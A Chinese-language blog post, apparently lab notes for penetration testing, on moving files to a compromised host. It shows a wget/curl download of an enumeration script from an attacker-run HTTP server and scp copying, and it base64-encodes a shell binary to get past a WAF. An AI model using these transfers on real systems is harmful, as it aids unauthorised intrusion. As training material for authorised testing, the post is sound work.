上传文件
在任何渗透测试过程中,我们都可能需要将文件传输到远程服务器,例如枚举脚本或漏洞,或将数据传输回我们的攻击主机。虽然像 Metasploit 这样的工具带有 Meterpreter shell,允许我们使用命令上传文件,但我们需要学习使用标准反向 shell 传输文件的方法。
方法
wget方法:
到需要的目录开启python服务器并选择端口
HgTrojan@htb[/htb]$ cd /tmp
HgTrojan@htb[/htb]$ python3 -m http.server 8000
在被控主机执行wget命令,下载文件
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh
or
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
#-o 是指定输出文件名标志。
scp方法
使用scp方法的前提是我们已经在远程主机上获得了 ssh 用户凭据。
HgTrojan@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh
#请注意,在之后会指定本地文件名,远程目录将保存到 .scp目录
Base64方法
在某些情况下,我们可能无法直接传输文件。例如,远程主机可能具有WAF保护,阻止我们从计算机下载文件。在这种情况下,我们可以使用一个简单的技巧将文件进行 base64 编码为格式,然后我们可以将字符串粘贴到远程服务器上并对其进行解码。
比如我想复制一个二进制文件:
在本机
HgTrojan@htb[/htb]$ base64 shell -w 0
然后复制这个字符串,转到远程主机,并使用base64(命令:base64 -d)来解码它,并将输出通过管道传递到一个文件中。
user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
使用这个办法可能会出现错误,所以在传输完成后我们必须验证一下:
首先验证它的文件格式,看看是否和本地的文件一样
user@remotehost$ file shell
然后验证MD5值是否和本地一样
HgTrojan@htb[/htb]$ md5sum shell
如果都一样那么传输成功。
文章目录
打赏: 支付宝
本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
评论已关闭